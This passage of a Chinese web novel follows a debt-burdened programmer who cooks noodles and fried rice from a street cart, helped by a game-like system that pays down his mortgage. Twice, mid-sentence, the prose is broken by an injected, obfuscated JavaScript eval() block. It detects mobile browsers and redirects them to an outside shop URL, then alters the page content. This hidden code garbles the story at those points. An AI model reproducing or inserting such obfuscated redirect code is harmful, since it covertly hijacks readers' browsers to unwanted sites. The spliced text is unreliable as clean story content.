三十岁出头的样子，胡子没刮干净，白大褂上沾着不知道是什么的污渍。他走路的时候低着头，步子很慢，像是每一步都要耗费很大力气。 他路过房寨的摊位时，停了一下。 看了一眼招牌上的“阳春面”三个字，又看了一眼房寨，犹豫了两秒。 “来一碗。”声音沙哑得像砂纸。 房寨马上点头：“好，稍等，现煮的。” 锅里的水已经烧开了，他抓了一把面条下进去，用长筷子轻轻拨散。面条在沸水里翻滚，两分钟左右就可以捞出来，不能煮太久，阳春面要的是那种弹牙的嚼劲。 碗底先放调料。一勺红葱油，一勺兑过的酱油，一小撮盐，再舀一勺滚烫的面汤冲进去。清亮的汤底瞬间染上一层淡淡的酱色，红葱油的香气被热气激发出来，那股味道浓烈而不霸道，温暖而不炽热。 面条捞出来，整齐地码进碗里，用筷子挑了两下，让每一根面条都裹上汤汁。最后撒上一把葱花，嫩绿的葱圈浮在清汤表面，像春天的柳絮落在水面上。 整个过程不到三分钟。 房寨把面端给医生：“小心烫。” 医生接过碗，蹲在路边，用筷子挑起一箸面，吹了吹，送进嘴里。 他吃得很慢，第一口嚼了很久，像是在品尝什么很复杂的东西。 第二口，第三口。 吃到第四口的时候，他忽然停下来，盯着碗里的面看了好几秒。 然后他端起碗，喝了一口汤。 清汤入口的瞬间，他闭上了眼睛。 房寨站在旁边，大气都不敢出。这已经是第二次了，他做的东西好像特别容易让人产生情绪波动。他开始怀疑自己是不是在饭里下了什么不该下的东西。 过了大概十几秒，医生睁开眼，眼眶有点红。 “这面里，”他顿了顿，“放了什么？” “红葱油。”房寨老实回答，“自己炸的。” 医生点了点头，没再说话，低下头把剩下的面吃完了。连汤都喝得干干净净，碗底只剩下几粒葱花。 他把空碗放在推车旁边，站起来，从口袋里掏出一张皱巴巴的十块钱，递给房寨。 “谢谢。”他说，声音还是沙哑的，但比刚才多了一点温度。 他转身往医院里走，走了几步，忽然又回过头来。 “我爸今天下午走的。”他说，语气很平淡，像是在陈述一个跟自己无关的事实，“胰腺癌，晚期，拖了四个月。刚才那碗面，让我想起来小时候他给我做的早饭。” 他扯了扯嘴角，笑了一下。 “一模一样的味道。” 然后他转过身，走进了急诊大楼的门，白大褂的背影消失在走廊尽头。 房寨站在原地，手里攥着那张十块钱，好半天没动。 【叮！食客1评价已录入。】 【满意度：97分。】 【评语：“有些味道，吃一口就回不去了。”】 他低头看了看推车上的面碗，碗底还残留着一点点汤汁的痕迹。 系统面板又闪了一下。 【任务进度：1/5。】 还有四碗。 房寨把碗收了，擦了擦灶台，重新烧上一锅水。 时间一点点过去，医院门口的夜晚比他想象的更安静，也更喧嚣。安静是因为没什么人大声说话，喧嚣是因为每个人心里都装着太多东西，压得他们几乎要发出声音来。 第二个客人是个四十多岁的阿姨，穿着花衬衫，手里攥着一条毛巾。她在走廊里坐了一整天，脸上的妆早就花了，眼皮浮肿，一看就是哭过的。 她走到房寨的摊位前，看了看招牌，又看了看房寨的脸。 “小伙子，这么晚还出来摆摊啊？” “嗯，刚开没多久。”房寨笑了笑，“阿姨来一碗不？” “多少钱？” “十块。” 阿姨想了想，点了点头：“来一碗吧，我在里面守了一天，什么都吃不下，这会儿闻着你这味儿，忽然觉得饿了。” 房寨马上动手煮面。 同样的步骤，同样的时间，同样的火候。红葱油一放进碗里，香气就飘出去了。 阿姨接过面，坐在推车旁边的一个塑料凳上——房寨特意带了两张凳子，就是给客人准备的。 她吃了一口，嚼了嚼，表情没什么变化。又吃了一口，这次嚼得慢了些。吃到第三口的时候，她忽然吸了吸鼻子。 “怎么了阿姨？太烫了？”房寨小心翼翼地问。 阿姨摇了摇头，又吃了一口，然后用毛巾捂住了眼睛。 “没事，”她的声音闷在毛巾里，“我就是……我已经好几天没吃下东西了。我老公在里面躺着，医生说情况不太好，我急得什么都吃不下。刚才闻到你煮面的味道，忽然就觉得饿了。” 她放下毛巾，眼睛红红的，但嘴角是弯的。 “能吃下东西就好，”她吸了吸鼻子，“能吃下东西，就能撑下去。” 她大口大口地把面吃完，连汤都没剩。放下碗的时候，她长长地呼了一口气，像是卸下了什么很重的东西。 “谢谢你啊小伙子。”她站起来，把钱递给房寨，又从兜里掏出一个橘子，“这个给你，我儿子买的，我一个人吃不完。” 房寨接过橘子和钱，想说点什么，但嘴笨，最后只憋出一句：“阿姨您也保重身体。” 阿姨摆了摆手，走进了医院的大门。 【叮！食客2评价已录入。】 【满意度：91分。】 【评语：“能吃下东西，就能撑下去。”】 房寨把橘子放在推车上，橘子在路灯下泛着暖暖的橙色。 他看了一眼时间，晚上十一点十分。 任务进度2/5。 还差三碗。 医院门口的人流越来越稀疏了，房寨有点担心完不成任务。他正想着要不要换个地方，一个穿蓝色工作服的清洁工大爷推着垃圾车过来了。 大爷五十多岁，皮肤黝黑，手上的指甲缝里全是泥。他把垃圾车停在路边，凑过来看了一眼房寨的摊位。 “阳春面？”大爷念了一遍招牌上的字，咂了咂嘴，“多少钱？” “十块。” 大爷摸了摸口袋，掏出一把零钱，数了数，有五块的，有一块的，有钢镚儿。他数了半天，刚好十块钱，一张五块加五个一块。 “来一碗。”大爷把钱递过来的时候，手指粗得像胡萝卜，指甲盖里嵌着黑色的污垢。 房寨接过钱，心里忽然有点不是滋味。 他煮了一碗面，特意多加了半勺红葱油，多抓了一小把面，把碗装得满满当当的。 大爷蹲在路边吃，吃得很急，呼噜呼噜的，像是饿了很久。 “好吃！”大爷一边吃一边含混地说，“真好吃！我干了一天的活，就早上吃了俩馒头，饿得不行了。你这面真香，比我在老家吃过的任何面都香！” 他三口两口把面吃完，连汤都喝光了，然后用手背抹了抹嘴，咧嘴笑了。 “小伙子，你明天还来不？” 房寨看着大爷那张黝黑的脸上绽开的笑容，忽然觉得鼻子有点酸。 “来。”他说，“大爷您要是想吃，明天我还在这儿。” “好嘞！”大爷站起来，拍了拍裤子上的灰，推着垃圾车走了。走了几步又回过头来，“别忘了啊！” “忘不了。” 【叮！食客3评价已录入。】 【满意度：94分。】 【评语：“这是我这辈子吃过最好吃的面。”】 任务进度：3/5。 还差两碗。 时间已经快到十二点了。房寨正准备再等等，系统面板忽然弹出一条新消息。 【支线任务触发：为陌生人煮一碗面。】 【检测到东北方向50米处有一名情绪低落的年轻女性，建议主动邀请。】 【支线奖励：厨艺经验+50。】 房寨顺着系统提示的方向看过去。 急诊大楼门口的台阶上，坐着一个穿灰色卫衣的年轻女孩。她抱着膝盖，把头埋在胳膊里，肩膀一耸一耸的，像是在哭。 周围来来往往的人从她身边走过，没有人停下来。 房寨犹豫了一下。 他不太会安慰人。一个连自己都安慰不了的社恐程序员，你让他去安慰一个陌生人？这不是为难他吗？ 但他又看了一眼系统面板上那个支线任务，咬了咬牙，从锅里舀了一碗热汤，端了过去。 他走到女孩面前，蹲下来，把碗放在她旁边的台阶上。 “那个……喝口汤吧，免费的。” 女孩抬起头，脸上全是泪痕，眼睛肿得像核桃。她看了一眼房寨，又看了一眼地上的碗，愣了一下。 “不用怕，我在那边摆摊的。”房寨指了指自己的推车，“这汤是面汤，热的，喝了能暖和点。” 女孩吸了吸鼻子，端起碗，小口小口地喝了起来。 热汤入口，她的眼泪又掉下来了。 “我分手了。”她哑着嗓子说，“在一起四年了，他说我们不合适。我坐了十个小时的火车来找他，他连面都不肯见。” 房寨不知道该说什么，就在旁边蹲着，安静地听着。 “我不知道该去哪，”女孩捧着碗，“我不想回家，家里人还不知道我谈恋爱的事。我朋友也不在这个城市。我觉得……我觉得全世界就剩我一个人了。” 房寨看着她，忽然想起几个月前的自己。 那时候他刚签完房贷合同，算完每个月的还款金额，一个人坐在出租屋里，也是这种感觉——全世界就剩我一个人了。 “你等一下。”他说。 他跑回推车后面，重新点火烧水，下了一把面。这次他放了两勺红葱油，多切了一把葱花，面条煮得比之前的更软一些——他隐约觉得，这个女孩可能需要一碗软一点的面。 三分钟后，他把面端到女孩面前。 “请你吃的，不要钱。” 女孩看着碗里的面，热气扑在她脸上，把眼泪蒸成了水雾。她端起碗，吃了第一口。 然后是第二口，第三口。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511072|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃得很慢，每一口都嚼很久，像是在用这碗面一点一点地把碎掉的心粘回来。 吃到一半的时候，她忽然说了一句：“好温暖。” 房寨坐在她旁边的台阶上，没说话。 两个人就这么并排坐着，一个吃面，一个发呆。医院门口的灯很亮，把他们的影子拉得很长，投在地上，像是两个靠在一起的逗号。 女孩把面吃完了，汤也喝完了。她把碗放在一边，长长地呼了一口气。 “谢谢你。”她转过头看着房寨，脸上的泪痕还没干，但眼睛里已经有光了，“我不知道你叫什么名字，但谢谢你。” “我叫房寨。” “房寨？”女孩念了一遍，忽然笑了，“好奇怪的名字。” “是啊，房贷的房，寨子的寨。”房寨也笑了，“我爸妈给我起名字的时候，可能就预言了我这辈子要背房贷。” 女孩笑出了声，虽然声音还带着哭腔，但那种笑声是真心的。 她站起来，拍了拍裤子，把卫衣的帽子戴上。 “房寨，我记住你了。”她说，“等我好起来了，我来找你吃面。” “行，我请你。” 女孩笑了笑，转身走了。她走得不算快，但步子很稳，一步一步的，像是在重新学着怎么走路。 【叮！支线任务完成：为陌生人煮一碗面。】 【食客满意度：96分。】 【评语：“在我最难过的时候，有人为我煮了一碗面。这大概就是活着的意义吧。”】 【支线奖励已发放：厨艺经验+50。】 【主线任务进度：4/5。】 房寨看着女孩的背影消失在夜色里，心里那种说不清的感觉又涌上来了。 今天他一共做了四碗面，四个完全不同的客人，四种完全不同的悲伤。但奇怪的是，他们吃完面之后，好像都变好了一点。 不只是胃变好了，是心变好了。 他想起系统绑定时的那句话——胃暖了，心就不冷了。 原来真的是这样。 时间已经快凌晨一点了。医院门口几乎没什么人了，只剩下急诊室的灯还亮着，像一座不夜城的灯塔。 房寨正准备收摊，一个外卖骑手骑着电动车从路上飞驰而来，在医院的侧门停下来。 骑手二十出头的样子，瘦得跟竹竿似的，穿着一件洗得发白的蓝色工装。他从车上拿下一份外卖，跑进医院送完，又跑出来，正准备骑车走的时候，闻到了房寨摊位上的香味。 他犹豫了一下，走过来看了一眼。 “阳春面？还有吗？” 房寨看了一眼锅里剩下的面条，刚好够一碗。 “有，最后一碗。” “多少钱？” “十块。” 骑手掏出手机扫了码，蹲在路边等着。他看起来很累，眼睛下面有两道深深的青黑，嘴唇干裂起皮，手指上贴着创可贴。 房寨煮了最后一碗面，端给他。 骑手接过去，呼噜呼噜吃了两口，忽然停下来，看着碗里的面发呆。 “怎么了？”房寨问。 “没什么。”骑手吸了吸鼻子，“就是觉得……好久没吃过这么热乎的东西了。” 他又吃了一口，嚼着嚼着，眼泪就掉下来了。 “我今天跑了四十多单，”他说，声音有点抖，“从早上七点跑到凌晨，中间就啃了一个凉馒头。有一个客人住七楼没电梯，我爬上去敲门，她嫌我慢了，给了我一星差评。” 他抹了一把眼泪，又吃了一口面。 “我刚才送的那一单是住院部的，一个老奶奶，八十多岁了，儿女都不在身边。她接过饭的时候拉着我的手说，小伙子辛苦了，吃个橘子吧。” 他从口袋里掏出一个橘子，举给房寨看。 “你看，就是在这个医院，就刚才。” 房寨看着那个橘子和骑手脸上的眼泪，忽然笑了。 他把推车上那个阿姨给的橘子拿过来，塞到骑手手里。 “两个橘子了，凑一对。” 骑手愣了一下，然后笑了。他一边哭一边笑，样子有点滑稽，但那种笑是真的，比很多假笑都真。 他吃完面，喝完汤，站起来，把碗还给房寨。 “老板，你明天还来吗？” “不一定。”房寨想了想，“但你要是想吃，加我微信，我出摊了告诉你。” 骑手掏出手机扫了码，备注名字的时候打了一行字：跑外卖的小陈。 “走了老板。”小陈骑上电动车，冲房寨挥了挥手，“谢谢你啊，这碗面我会记很久的。” 电动车的声音在夜里特别响，突突突地远去了。 【叮！食客5评价已录入。】 【满意度：99分。】 【评语：“不是面好吃，是这个世界还没那么糟。”】 【主线任务完成！】 【任务评价：超额完成（5/5位食客，平均满意度95.4分）。】 【发放奖励：房贷减免券×1，厨艺经验+200，厨具升级券×1。】 【房贷减免券生效中……抵扣本金8000元（超额完成奖励加成）。当前剩余本金：1,514,331.68元。】 房寨看着那个数字又少了八千块，心里涌上一股说不出的滋味。 一天，两顿饭，减了一万三的房贷。 他上一个月班才还六千三。 房寨慢慢地把推车收拾好，锅碗瓢盆一样样归位，剩下的调料盖好盖子。他把两张塑料凳子折叠起来，绑在推车侧面。 凌晨一点半的街道很安静，偶尔有一辆车经过，车灯扫过来，把他的影子拉长又缩短。 他推着咯吱咯吱响的推车往回走，路过天桥的时候，那个唱歌的人已经走了，只剩下空荡荡的桥面和几片被风吹到一起的落叶。 房寨走到桥中间的时候，停下来，把推车靠在栏杆上，趴在栏杆上往下看。 桥下的马路空空荡荡，路灯一盏接一盏地亮着，延伸到很远很远的地方，像是在给谁指路。 他想起今天遇到的那五个人。 那个失去父亲的年轻医生，那个丈夫重病的阿姨，那个干了一天活的清洁工大爷，那个被分手的外地女孩，那个跑了一天外卖的骑手。 每个人都好难啊。 但每个人都吃完了那碗面。 房寨从口袋里掏出那个橘子，剥开，掰了一瓣放进嘴里。 很甜。 他笑了笑，把剩下的橘子一瓣一瓣地吃完，把橘子皮放在栏杆上，让夜风把它吹干。 【系统提示：今日营业总结——】 【服务食客：6人（含支线任务1人）。】 【满意度：平均95.7分。】 【治愈指数：★★★★★。】 【宿主心情值：当前67/100（初始值3/100）。】 【系统评价：你在治愈别人的时候，也在治愈自己。继续加油。】 房寨看了一眼那个67分，嘴角抽了抽。 从3分到67分，他花了不到二十四小时。 虽然离100分还差得远，但至少，今天晚上的他，不是那个躺在出租屋里盯着灭掉的灯泡发呆的人了。 他推起推车，继续往前走。 咯吱咯吱的声音在夜里传得很远，像某种古老的号子，一下一下的，不急不慢。 城中村的巷子里，那几只流浪猫还蹲在墙角，看到他回来，喵喵叫了几声。 房寨从口袋里掏出中午没吃完的半根火腿肠，掰碎了丢给它们。 猫们低头抢食，吃完了又抬起头看着他，眼睛在黑暗中发着绿莹莹的光。 “明天还有。”房寨说。 猫们听不懂，但好像听懂了一样，跟在他身后走了几步，然后散开了。 房寨把推车推上楼，开门，开灯。 灯泡闪了两下，稳住了。 他把东西收拾好，洗了个澡，躺在床上，翻看手机群里那些消息。 群里已经99+了，全是在问他明天出不出摊的。 房寨翻到最上面，发现那个叫小陈的外卖骑手也在群里，他发了一条语音。房寨点开，小陈的声音从手机里传出来，带着笑：“家人们，我今天吃了老板的阳春面，真的绝了，我一个大男人都给吃哭了。你们一定要吃一次，不好吃我把头拧下来给你们当球踢。” 下面一群人哈哈哈，还有人说“你已经把头拧下来了，我们现在就踢”。 房寨看着这些消息，忍不住笑出了声。 他打了一行字：“明天下午出摊，具体时间和地点明天中午在群里说。” 发完这条消息，他把手机放在枕头边，关了灯。 黑暗中，系统面板亮了一下。 【明日预告：系统将发布新的主线任务。】 【请宿主保持良好状态。】 【晚安，房寨。】 房寨闭上眼睛，嘴角还带着一点弧度。 今天很累，真的很累。从下午出摊到现在，差不多十个小时没歇过。但是那种累和以前不一样，以前的累是空的，累完之后什么也没有。今天的累是实的，累完之后心里是满的。 他想起了今天那个女孩说的话——好温暖。 不只是胃暖了，心也暖了。 窗外的夜风穿过城中村的电线，发出细细的声音，和昨晚一模一样。 但房寨觉得，今晚的风听起来不一样了。 好像没那么冷了。 4. 第 4 章 房寨是被手机震醒的。 不是闹钟，是微信消息。手机在枕头边嗡嗡嗡地震个不停，像揣了只蜜蜂。 他迷迷糊糊地摸过手机，眯着眼一看——早上七点半，微信未读消息99+，全是群里@他的。 “老板起床了吗？” “今天出摊吗出摊吗出摊吗” “我昨晚梦见那个阳春面了，馋醒了” “老板你是不是跑路了不要啊” 房寨翻了个身，一条条往下看，忍不住笑了。 群里已经有一百三十多个人了。昨晚他睡着之后又进来不少人，估计是那些吃过的人拉的。有人在做表格统计“房寨出摊地点推测”，有人发了张他推车的照片配文“全城寻找白月光摊主”，还有人@他问能不能预定。 预定？ 房寨想了想，打字回复：“不用预定，来了就有。今天下午五点半出摊，地点待定，中午通知。” 消息发出去的瞬间，群里炸了。 “老板活了！” “五点半是吧，我请假都要去” “地点待定是什么鬼啊老板你别搞神秘主义” “求求了选个离我近的地方” 房寨没再回消息，把手机放下，坐起来伸了个懒腰。 今天精神不错。昨晚睡得挺踏实，连梦都没做，一觉到天亮。这在以前是不可能的，以前他每天晚上都要翻来覆去地想房贷的事，想工作的事，想各种有的没的，折腾到一两点才能睡着。 他把窗帘拉开一条缝，外面居然是个晴天。城中村的巷子里有人在晒被子，花花绿绿的床单挂在竹竿上，在风里飘来飘去。 房寨刷牙洗脸的时候对着镜子看了看自己。 黑眼圈还在，但好像淡了一点。脸色也没那么蜡黄了，嘴唇有点血色了。最明显的是眼神，之前那个眼神是散的，没有焦点的，看什么都像隔了一层雾。现在不一样了，眼睛里有光了，虽然不是很亮的那种，但至少不是死气沉沉的。 他对着镜子咧嘴笑了一下，又觉得自己有点傻，赶紧收住了。 系统面板在他洗脸的时候弹了出来。 【早安，宿主。今日心情值：71/100（较昨日+4）。】 【主线任务已发布。】 房寨放下毛巾，点开任务面板。 【主线任务：城市角落的烟火气。】 【任务描述：美食的意义在于分享。请在一个“不被注意的城市角落”完成一次摆摊，让那些平时被忽略的人品尝到温暖。】 【任务要求：至少服务8位食客，平均满意度≥85分。】 【任务奖励：房贷减免券×1，厨艺经验+200，随机食谱×1。】 【特别提示：本次任务无时间限制，但建议在晚餐时段完成。】 不被注意的城市角落？ 房寨想了想，脑子里冒出好几个地方：工地旁边的路口、老居民区的小巷、学校后门那条没人走的街…… 他翻出手机地图，标记了几个备选地点，然后决定出门踩点。 上午九点多，太阳已经很大了。房寨骑着共享单车，先去了第一个备选点——城东的旧货市场附近。 那片地方他很熟，刚来这个城市的时候在那里住过半年。旧货市场周围全是卖二手家具、二手家电的小店，来来往往的都是拉货的师傅和来淘便宜货的人。这些人不是没有消费能力，是舍不得花钱。一碗十几块的面他们不会买，但一碗几块钱的、好吃的、热乎的东西，他们愿意。 房寨在旧货市场门口站了十分钟，观察了一下人流量和周边的摊位。有两家卖盒饭的，一家卖凉皮的，生意都还行，但没有卖面条的。 可以试试。 他又骑车去了第二个备选点——城南的一个老居民区。 这片是八十年代建的小区，没有电梯，楼外墙皮都掉了，但住的人不少，大多是老人和租客。小区门口有一条窄窄的巷子，两边都是各种小摊，卖菜的卖水果的卖早点的，热热闹闹的。 房寨在巷子里走了一圈，发现这里缺一样东西——晚上营业的摊位。这些摊大多白天开，到了五六点就陆陆续续收了。也就是说，晚餐时段这里是个空白。 也可以试试。 第三个备选点他没去，直接在手机上划掉了。太远了，推车过去要一个小时，不现实。 现在有两个选择，选哪个？ 房寨想了想，决定选老居民区。原因很简单——那里有老人。他在医院门口那晚发现，老人是最容易被忽略的群体。年轻人还能点外卖，还能下馆子，老人呢？腿脚不方便的，一个人住的，省吃俭用的，可能一顿饭就是一锅粥热三顿。 他想给那些老人做顿饭。 地点定下来，房寨在群里发了通知：“今天出摊地点：城南翠屏路老居民区巷口。时间：下午五点半。” 发完他又补了一条：“今天做蛋炒饭和阳春面，价格不变。” 群里又是一阵骚动。 “翠屏路？那不是我家楼下吗！！！” “老板你是不是住我家隔壁” “我从公司过去要一个小时，但为了这口饭，值了” “有没有人一起拼车的？我在城北” 房寨看着群里热火朝天的讨论，忽然觉得有点不真实。一个多月前，他的微信只有工作群和外卖红包群，每天的消息不超过十条。现在他有一个一百多人的群，里面的人因为他做的饭而兴奋、期待、讨论、分享。 这种感觉很奇怪，但挺好的。 决定好地点之后，房寨开始备料。 今天是两个菜品，工作量翻倍。蛋炒饭需要米饭、鸡蛋、葱花。阳春面需要面条、红葱油、酱油、葱花。米饭要提前煮好晾凉，不然炒出来会黏成一坨。红葱油昨晚用完了，今天要重新炸。 他去菜市场买了十斤大米、三板鸡蛋、两斤猪板油、一袋红葱头、五斤碱水面，又补了些葱和调料。 一共花了六十八块钱。 余额：1.97元。 房寨看着这个数字，深吸了一口气。 今天必须把成本挣回来，不然明天连买鸡蛋的钱都没有了。 回到家，他开始备料。 先煮饭。十斤米分了四锅才煮完，煮好的米饭摊开在大盆里晾着，用筷子时不时翻一下，让热气散掉。 然后炸红葱油。猪板油切丁下锅，小火慢熬，等油渣金黄酥脆了捞出来，红葱头片倒进去炸到焦黄。整个过程四十分钟，满屋子都是香味。 葱花切了两大碗，一碗炒饭用，一碗煮面用。鸡蛋打散在盆里，加了一点点盐和水，搅到起泡。 一切准备就绪的时候，已经下午三点多了。 房寨把东西装上推车，这次比前两次都多。米饭装了两个保温桶，面条用塑料袋分装好，鸡蛋整板放在下层，调料瓶用绳子固定在推车把手上防止晃倒。 他检查了三遍，确认没有漏掉东西，然后推着车出了门。 从城中村到翠屏路，骑车二十分钟，推车走了四十分钟。路上坡多，推车又重，到了地方的时候他后背全湿了，T恤贴在身上，汗珠子顺着脖子往下淌。 时间是下午五点十分，比预定时间早了二十分钟。 巷口的位置空着，房寨把推车停好，支起炉子，摆好锅碗瓢盆，把折叠凳打开放在旁边。招牌挂上，一面写着蛋炒饭八元，一面写着阳春面十元。 巷子里的老人们已经开始注意到了。一个头发花白的老太太拎着菜篮子路过，凑过来看了看。 “小伙子，卖什么的？” “蛋炒饭和阳春面，阿姨。” “多少钱？” “炒饭八块，面十块。” 老太太咂了咂嘴：“有点贵啊。” 房寨笑了笑没说话。他知道在这个地方，八块钱确实不算便宜。但他不想降价，不是因为贪心，是因为他相信自己的东西值这个价。 老太太走了，但没走远，在旁边跟另一个老太太嘀咕了几句。两个人都往这边看，像在观望。 五点二十五分，群里第一批人到了。 是两个年轻姑娘，一看就是上班族，穿着衬衫和西裤，手里还拎着电脑包。她们跑过来的，气喘吁吁的，脸上全是汗。 “老板！终于找到了！”其中一个姑娘激动得不行，“我们五点钟下班直接打车过来的，生怕赶不上。” “不着急，慢慢来。”房寨擦了擦灶台，“要什么？” “两碗阳春面！我在群里看你发的照片馋了好久了！” 房寨点火烧水，下面。 红葱油一放，香味炸开，巷子里那几个观望的老太太同时转过头来。 两个姑娘蹲在路边吃，一边吃一边发出夸张的赞叹声。 “天哪这个汤好好喝！” “这个面条好Q弹啊！跟我在外面吃的完全不一样！” “你是不是偷偷加了什么东西啊老板，怎么会这么好吃” 房寨被夸得有点不好意思，低着头假装没听见，继续煮面。 【叮！食客1、2评价已录入。满意度：96分、94分。】 香味飘出去之后，生意就好做了。 一个中年男人骑着电动车路过，闻到味道刹了车，要了一份蛋炒饭。一个带着孩子的年轻妈妈，孩子闻到香味不肯走，哭着要吃面，妈妈只好买了一份，自己尝了一口之后又买了一份。 陆续有老人过来了。 刚才那个老太太又出现了，这次没再嫌贵，要了一份蛋炒饭。房寨给她炒了一份，特意炒得软一点，米饭多焖了半分钟，怕她牙口不好。 老太太接过去吃了一口，眼睛亮了。 “哟，这炒饭做得真不错。小伙子你手艺可以啊。” 她端着碗走到旁边的石墩上坐下，慢慢地吃，一口一口的，吃得特别仔细。吃完之后碗底干干净净，一粒米都没剩。 “明天还来不？”老太太问。 “来的。”房寨说。 “那我明天还来。” 【叮！食客5评价已录入。满意度：92分。】 六点多的时候，人开始多起来了。 群里的、路过的、闻着味儿来的，推车前面排了七八个人。房寨忙得脚不沾地，一手炒饭一手煮面，两个锅同时开火，动作快得自己都佩服自己。 他从来没想过自己有一天能在路边摊上忙成这样。 以前他在公司写代码，一天下来鼠标点了几千下，眼睛酸得要命，但心里是空的。现在他在路边颠勺，胳膊酸得要命，但心里是满的。 这种感觉很奇怪。忙，但是不累。累，但是快乐。 七点半左右，食材用得差不多了。米饭只剩最后一碗的量，面条也只剩一把。 房寨正准备收摊，一个佝偻着背的老大爷拄着拐杖慢慢走过来了。 老大爷穿得很旧，一件灰色的中山装，领口磨得发白，脚上一双解放鞋，鞋面上还有补丁。他走得很慢，拐杖在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511073|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上一点一点的，像是在试探路平不平。 他走到推车前，看了看招牌，又看了看锅里剩下的那点东西。 “还有吗？”他的声音很低，像从喉咙深处挤出来的。 “还有。”房寨说，“大爷您要什么？炒饭还是面？” 老大爷摸了摸口袋，掏出一个塑料袋，里面卷着几张零钱。他一层一层地打开，像拆一件很珍贵的礼物。里面有一张五块的，三张一块的，还有几个钢镚儿。 他数了数，八块钱。 “要一份炒饭。”他把钱递过来的时候，手在抖。 房寨接过钱，心里揪了一下。 他把最后一碗米饭倒进锅里，打了两个鸡蛋——平时他只放一个半，这次放了两个。葱花多抓了一把，盐少放了一点，老年人吃太咸不好。 炒好之后，他把饭装得满满当当的，压实了又加了一勺，纸碗都快撑破了。 “大爷，小心烫。” 老大爷接过饭，没有走，就站在推车旁边吃。他吃得很慢，每一口都嚼很久，像是在用牙齿细细地磨碎每一粒米。 吃到一半的时候，他忽然停下来，看着碗里的饭，发了好一会儿呆。 “我老伴走了八年了。”他忽然说。 房寨手里的锅铲顿了一下。 “她以前也爱做蛋炒饭，”老大爷说，“跟你这个味儿有点像，但没你这个好吃。” 他笑了，脸上的皱纹挤在一起，像一张揉皱的纸。 “她要是能吃到你这个炒饭，肯定高兴。” 说完他又低下头，一口一口地把剩下的饭吃完了。 吃完之后，他把碗放在推车上，把拐杖夹在腋下，慢慢地转过身，一步一步地往巷子深处走去。 房寨站在推车后面，看着那个佝偻的背影一点一点地变小，消失在昏暗的巷子里。 他忽然想起自己奶奶。老人家也一个人住在老家，每次打电话都说自己挺好的，让他别惦记。但他知道，她一个人的饭桌上，大概也是一锅粥热三顿。 房寨吸了吸鼻子，把碗收了，擦了擦灶台。 食材全部卖完了。今天一共卖了十四份——八碗面，六份炒饭。除去成本，大概赚了六十多块钱。 不多，但够明天买食材了。 【主线任务完成！服务食客14人（超额完成8人目标），平均满意度92.6分。】 【发放奖励：房贷减免券×1，厨艺经验+200，随机食谱×1。】 【房贷减免券生效中……抵扣本金5000元。当前剩余本金：1,509,331.68元。】 【随机食谱已发放：烤红薯。】 房寨看着新食谱的名字，愣了一下。 烤红薯？ 这大夏天的，谁吃烤红薯？ 【系统提示：食谱的使用时机由宿主自行把握。好菜不怕晚，好红薯不怕季节。】 行吧。 房寨把推车收拾好，准备往回走。 这时候手机震了一下，群里有人发了条消息。 “我今天吃到老板的蛋炒饭了，是真的好吃，但我更想说的是，老板人真的很好。我看到他给一个老大爷多加了鸡蛋，还把碗装得特别满。这种细节骗不了人的，老板是个好人。” 下面一群人跟帖。 “我也看到了，他对老人都特别耐心。” “他在医院门口那晚还给一个哭着的女孩送了一碗热汤。” “所以我说他不只是做饭好吃，他是真的有在用心对待每一个人。” 房寨看着这些消息，脸有点红。 他就是顺手的事，没想到被人看在了眼里。 他把手机揣回兜里，推着车往回走。 路过天桥的时候，那个唱歌的人又来了。今天唱的是首老歌，旋律很慢，声音沙哑但不难听。 房寨停下来听了一会儿，往吉他盒里放了五块钱。 唱歌的人冲他点了点头，继续唱。 房寨推着车下天桥的时候，忽然想起一件事。 今天那个老大爷说，他老伴走了八年了。 八年。 一个人过了八年。 房寨不知道那是一种什么样的日子，但他忽然很想回老家看看奶奶。 他掏出手机，给奶奶打了个电话。 电话响了好几声才接通，奶奶的声音从听筒里传出来，带着老家的口音：“谁啊？” “奶奶，是我。” “哪个？” “房寨。” “哦，寨儿啊！”奶奶的声音一下子高了八度，“你怎么想起打电话来了？吃饭了没有？瘦了没有？工作累不累？” “吃了，不瘦，不累。”房寨笑着说，“奶奶你呢？身体怎么样？” “好着呢好着呢，你别惦记我，我身体好得很，天天去公园跳舞。” 房寨知道奶奶在吹牛，她腿脚不好，根本跳不了舞。但他没拆穿，顺着她说：“那挺好，你多跳跳。” 挂了电话之后，他在天桥上站了一会儿。 夜风吹过来，带着六月底特有的那种湿热，闷闷的，但不算难受。 桥下的车流不多，一辆接一辆地开过去，尾灯拉成一条条红线。 房寨深吸了一口气，推起推车，继续走。 咯吱咯吱的声音在夜里响着，和之前每一天一样，但又好像不太一样了。 他说不上来哪里不一样。 但就是不一样了。 5. 第 5 章 房寨是被一阵急促的敲门声吵醒的。 砰砰砰！砰砰砰！ 那动静像是有人拿拳头在砸门，整栋楼都在震。房寨从床上弹起来，第一反应是出什么事了，第二反应是会不会是房东。 他光着脚跑到门口，透过猫眼往外一看—— 是个中年男人，穿着灰色polo衫，肚子挺得老高，脸涨得通红，一看就是那种不好惹的主。 房寨把门开了一条缝。 “你是房寨？” “是我。” “我是你楼下住户，你每天晚上推那个破车回来咯吱咯吱响，我老婆神经衰弱睡不着觉，你再这样我找房东投诉你！” 房寨愣了一下，赶紧道歉：“对不起对不起，我以后轻一点。” 